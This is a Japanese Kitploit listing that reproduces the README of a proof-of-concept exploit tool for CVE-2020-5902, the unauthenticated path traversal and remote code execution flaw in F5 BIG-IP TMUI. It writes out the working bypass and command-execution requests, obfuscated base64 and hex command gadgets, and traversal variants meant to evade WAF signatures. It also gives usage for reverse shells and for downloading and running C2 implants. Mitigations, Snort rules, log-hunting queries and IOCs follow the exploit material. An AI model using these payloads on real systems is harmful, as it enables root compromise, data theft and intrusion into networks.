Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
F5-BIG-IP — F5 BIG-IPは、企業環境で広く使用されているアプリケーションデリバリおよびセキュリティプラットフォームです。CVE-2020-5902は、TMUIにおける重大な脆弱性であり、未修正のバージョンでは、不正アクセスやリモートコード実行を許す可能性があり、アップデートと継続的な脆弱性管理の必要性を強調しています。 | Kitploit
ツール/GitHubGitHub/devrafaelprogrammer/f5-big-ip
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミングペイロード開発
GitHubdevrafaelprogrammer/f5-big-ip

F5-BIG-IP

F5 BIG-IPは、企業環境で広く使用されているアプリケーションデリバリおよびセキュリティプラットフォームです。CVE-2020-5902は、TMUIにおける重大な脆弱性であり、未修正のバージョンでは、不正アクセスやリモートコード実行を許す可能性があり、アップデートと継続的な脆弱性管理の必要性を強調しています。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-5902 — F5 BIG-IP TMUI RCE

F5 BIG-IPのTraffic Management User Interface (TMUI) における致命的なパストラバーサル/リモートコード実行脆弱性の概念実証エクスプロイトです。

⚠️ 許可を得たペネトレーションテストおよびセキュリティ研究専用です。 あなたが所有していない、または書面によるテスト許可を得ていないシステムに対する不正使用は 違法 です。 本ツールの誤用について作者は 一切の責任を負いません。


目次

  • 背景
  • 脆弱性分析
  • 技術的な詳細
  • 影響を受けるバージョン
  • 機能
  • インストール
  • 使用方法
  • 防御策
  • 検出と脅威ハンティング
  • タイムライン
  • 参考文献
  • 免責事項

背景

F5 BIG-IP は、Fortune 500企業、金融機関、医療機関、政府機関の大半で導入されている多目的ネットワークアプライアンス(ロードバランサー、WAF、アプリケーションデリバリコントローラー)のファミリーです。Traffic Management User Interface (TMUI) — 構成ユーティリティとも呼ばれます — は、ポート443(または8443)でアクセス可能なWebベースの管理ポータルです。

2020年7月、F5は CVE-2020-5902 を公開しました。これは、TMUIにおける Critical(CVSS 9.8) の非認証パストラバーサル脆弱性であり、リモートの非認証攻撃者に以下を可能にします:

  • 基盤となるLinuxシステムから 任意のファイル を読み取り(LFI)
  • ルートとして 任意のOSコマンド を実行(RCE)
  • アプライアンスを完全に侵害し、内部ネットワークにピボット

公開から 数日以内 に、国家支援攻撃者を含む大規模な悪用が観測されました。


脆弱性分析

根本原因

TMUIは Apache Tomcat 上に構築されており、保護されたリソースに対する認証を強制するサーブレットフィルタを使用しています。脆弱性は、Tomcatが セミコロン区切りのパスセグメント(;)を解析する方法にあります。

次のリクエストは認証を完全にバイパスします:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

なぜ動作するか:

  1. Tomcatサーブレットフィルタはパスを /tmui/login.jsp(; の前で終わる)と見なします — これは公開ログインページです — そしてリクエストを 許可 します。
  2. TomcatのURLリゾルバは /..;/ をディスパッチ前に パストラバーサル(/../)として処理します。
  3. リクエストは最終的に保護された fileRead.jsp サーブレットに 認証なしで ルーティングされます。
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  クライアントリクエスト                                            │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcatサーブレットフィルタ    │
             │  見えるパス: /tmui/login.jsp ✓ │
             │  (公開エンドポイント → 許可)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URLリゾルバ          │
             │  解決: /..;/ → /../          │
             │  最終パス: /tmui/locallb/      │
             │  workspace/fileRead.jsp ← 🔓 │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (認証チェックなし)│
             │  ルートで任意のファイルを読み取り│
             └───────────────────────────────┘

LFIからRCEへ

tmshCmd.jsp サーブレット(同じトラバーサルで到達可能)は、command および utilCmdArgs パラメータを直接 tmsh(BIG-IP管理シェル)に渡し、run util bash -c '...' をラップします。これにより、非認証の ルートレベルのOSコマンド実行 が可能になります:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

技術的な詳細

攻撃フロー

root@kitploit:~
フェーズ 1: 偵察
  └─ TCPバナー取得(HTTP/TLSフィンガープリント)
  └─ SSL証明書分析
  └─ HTTPヘッダーフィンガープリント(Server、X-Powered-By、Set-Cookie)
  └─ /etc/f5-releaseからのBIG-IPバージョン推定

フェーズ 2: 脆弱性確認
  └─ 6種類のトラバーサルエンコーディングバリアントを反復
  └─ 既知の読み取り可能な4つのセンチネルファイルに対してテスト
  └─ 出力が既知の指標(root:x:0:0、BIG-IPなど)と一致するか確認

フェーズ 3: エクスプロイト
  ├─ ベクトルA: tmshCmd.jsp(プライマリRCE)
  │    └─ base64/hexエンコードガジェットでコマンドを難読化
  ├─ ベクトルB: fileRead.jsp + fileNameパラメータへのコマンドインジェクション
  │    └─ fileNameパラメータにOSコマンドを注入
  └─ ベクトルC: ログポイズニング(User-Agentインジェクション → access_log読み取り)

フェーズ 4: エクスプロイト後(オプション)
  ├─ インタラクティブシェル(コマンドREPL)
  ├─ リバースシェル(4種類のワンライナーを同時実行)
  ├─ LFIブルートフォース(30の機密パス、並列実行)
  └─ C2インプラント展開(Sliver / Metasploit / カスタム)

トラバーサルエンコーディングバリアント

コマンド難読化ガジェット

このツールは実行ごとに2つの難読化ガジェットのいずれかを適用し、静的シグネチャ検出を困難にします:

root@kitploit:~
# ガジェット 1 — Base64エンコード/デコードパイプライン
bash -c {echo,aWQ=}|{base64,-d}|bash

# ガジェット 2 — Hexバイトprintf評価
eval "$(printf '\x69\x64')"

影響を受けるバージョン

BIG-IQ、BIG-IQ Centralized Management、F5OS、Traffix SDCは、この特定のCVEの 影響を受けません。


機能

  • マルチバリアントパストラバーサル — WAF/IDSシグネチャを回避する6種類のエンコーディング
  • 3つの独立したRCEベクトル — tmshCmd.jsp、fileRead注入、ログポイズニング
  • コマンド難読化ガジェット — base64およびhexエンコードパイプライン
  • パッシブ偵察フェーズ — TCPバナー、SSL/TLSフィンガープリント、HTTPヘッダー分析
  • 並列LFIブルートフォース — 30の機密パス、10スレッド同時実行
  • 同時リバースシェル — 4種類のワンライナーを同時発射
  • C2統合 — Sliver、Metasploit、カスタムインプラント(Linux/Windows/PS1)
  • 回避ヘッダー — ランダムUser-Agent、IPスプーフィングヘッダー、ノイズヘッダー
  • インタラクティブシェルREPL — !revshell、!c2、!read、!brute コマンド
  • プロキシサポート — Burp Suite / mitmproxy統合

インストール

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

要件: Python 3.10+


使用方法

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

例

root@kitploit:~
# 1. 脆弱性確認のみ
python CVE-2020-5902.py 192.168.1.100

# 2. カスタムポート + 単一コマンド実行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. インタラクティブシェル
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFIブルートフォース(30の機密パスを読み取り)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. リバースシェルコールバック
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. C2インプラントの展開(Sliverの例)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Burp Suite経由でトラフィック検査
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

インタラクティブシェルコマンド

--shell モードでは、以下の特殊コマンドが使用できます:


防御策

即時軽減策(パッチ適用がまだできない場合)

1. インターネットからのTMUIアクセスをブロック

最も効果的な軽減策は、管理インターフェースが 信頼できないネットワークから決して到達可能にならない ようにすることです:

root@kitploit:~
# BIG-IP: 管理アクセスを専用VLAN/IP範囲に制限
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

または、BIG-IP Self IP構成から、管理ポートに外部ルートがないことを確認します。

2. F5の公式軽減策を適用(パッチ前)

F5はトラバーサルパターンをブロックするApache RewriteRule を追加する軽減スクリプトを公開しました:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

参考文献: K52145254 — 軽減手順

3. パッチ — 修正バージョンを適用

決定的な修正は、BIG-IPをパッチ適用済みリリースにアップグレードすることです(影響を受けるバージョン の表を参照)。F5はサーブレットフィルタのロジックを修正し、認証施行の前にセミコロン区切りのパスセグメントを正しく解析するようにしました。


アーキテクチャレベルの防御

管理プレーンに対するゼロトラストネットワークアクセス

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  推奨アーキテクチャ                                              │
│                                                                 │
│  インターネット ──────► ファイアウォール ──────► DMZ/本番環境   │
│                      │                                          │
│                      │  (すべての管理ポートへのトラフィックを拒否)│
│                      │                                          │
│                   ジャンプホスト ──────► BIG-IP TMUI (port 443)│
│                 (MFA + VPN)         (管理VLANのみ)             │
└────────────────────────────────────────────────────────────────┘

主要な原則:

  • 管理インターフェースは 決して 本番トラフィックと同じIP/ポート上にあってはなりません
  • アクセスにはジャンプホストに到達する前に VPN + MFA が必要です
  • BIG-IP Self IP ポートロックダウンは Allow None または Allow Defaults に設定すべきです

Webアプリケーションファイアウォールルール

BIG-IP管理の前にWAFがある場合(まれですが、一部のアーキテクチャでは可能)、以下のルールを追加します:

  • URLパスに ; を含むリクエストをブロック
  • パスセグメントに ..; または %3b が一致するリクエストをブロック
  • 非管理ソースからの /tmui/locallb/workspace/ へのリクエストをブロック

セキュリティ強化チェックリスト

root@kitploit:~
[ ] BIG-IPを修正バージョンにパッチ適用
[ ] TMUIがインターネットに露出していない(Shodan/Censysで確認)
[ ] 管理VLANを本番から分離
[ ] Self IPポートロックダウンを構成(Allow None または Allow Defaults)
[ ] 管理アクセスにMFAを強制
[ ] 資産管理システムにBIG-IPソフトウェアインベントリを登録
[ ] 自動脆弱性スキャン(Tenable/Qualys)にBIG-IPを含める
[ ] SIEMへのログ転送を構成(access_log、audit.log)
[ ] ネットワークセグメンテーション:侵害されたBIG-IPがドメインコントローラに到達できないようにする
[ ] インシデント対応プレイブックにネットワークデバイス侵害シナリオを含める

検出と脅威ハンティング

IDS/IPSシグネチャ(Snort / Suricata)

root@kitploit:~
# パストラバーサル試行の検出(セミコロンバイパス)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI パストラバーサル";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# エンコードされたセミコロンバリアントの検出
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI パストラバーサル(エンコード)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Apache/HTTPD ログパターン(grep)

root@kitploit:~
# BIG-IPアクセスログでトラバーサル試行をハント
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# 脆弱なエンドポイントへの成功したヒットを探す
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

SIEMクエリ(Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

侵害指標(IOC)

URLパターン:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

一般的な攻撃者の標的(アクセスされたファイル):

root@kitploit:~
/etc/passwd                  — 認証情報収集
/config/bigip.conf           — VPN/ルーティング設定の流出
/config/bigip.license        — ライセンスキー窃取
/config/bigip_user.conf      — ローカル管理者アカウントの列挙
/root/.bash_history          — 過去のコマンド偵察

タイムライン


参考文献

  • NVD — CVE-2020-5902
  • F5 Security Advisory K52145254
  • CISA Emergency Directive 20-03
  • Rapid7 Analysis
  • BleepingComputer Coverage
  • Shodan Query: http.title:"BIG-IP" port:443

免責事項

このツールは 教育目的 および 許可されたセキュリティ評価 のためだけに提供されています。以下の用途を意図しています:

  • 資産所有者から書面による許可を得たペネトレーションテスター
  • ラボ環境で脆弱性を研究するセキュリティ研究者
  • 検出シグネチャとハードニング構成を構築する防御者
  • CTF(Capture The Flag)競技参加者

明示的な書面による許可なくこのツールをシステムに対して使用することは、コンピュータ不正アクセス法(CFAA)、英国コンピュータ不正使用法、ブラジルの Lei Nº 12.737/2012(Lei Carolina Dieckmann)、および世界中のほとんどの法域の同等の法律に基づく犯罪行為です。

このリポジトリの作者および貢献者は、本ソフトウェアの誤使用から生じるいかなる損害、法的結果、その他の危害についても 一切の責任を負いません。


セキュリティ研究コミュニティのために作成されました。 システムにパッチを当ててください。ネットワークを保護してください。

ツールをダウンロード
バリアントペイロード
標準tmui/login.jsp/..;/tmui/...
セミコロンエンコードtmui/login.jsp/..%3b/tmui/...
ダブルURLエンコードtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Unicodeドットドットtmui/login.jsp/%2e%2e;/tmui/...
大文字小文字変更TMUI/login.jsp/..;/tmui/...
ディレクトリ混乱tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
BIG-IPブランチ脆弱な範囲修正バージョン
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
コマンド説明
!revshell <lhost> <lport>4種類のリバースシェルバリアントを同時に発射
!c2 <url> <type> [args]C2インプラントをダウンロードして実行
!read <path>LFI経由で任意のファイルを読み取り
!brute30の機密パスをブルートフォース
!exitセッションを終了
<任意のOSコマンド>RCE経由で実行し出力を表示
日付イベント
2020-06-30F5が非公開で通知を受ける
2020-07-01F5がアドバイザリ(K52145254)とパッチを公開
2020-07-03公開PoCがTwitterでリリースされる
2020-07-04複数の脅威インテリジェンス企業により大規模な悪用が観測される
2020-07-06CISAが緊急指令20-03を発行し、連邦政府機関へのパッチ適用を義務付け
2020-07-09国家支援攻撃者(APT)が実際の環境での悪用を確認
2020-07-15約8,000のBIG-IPインスタンスが依然として未パッチ(Shodan)
2020-08-xxランサムウェアグループが未パッチのBIG-IPデバイスを標的にし始める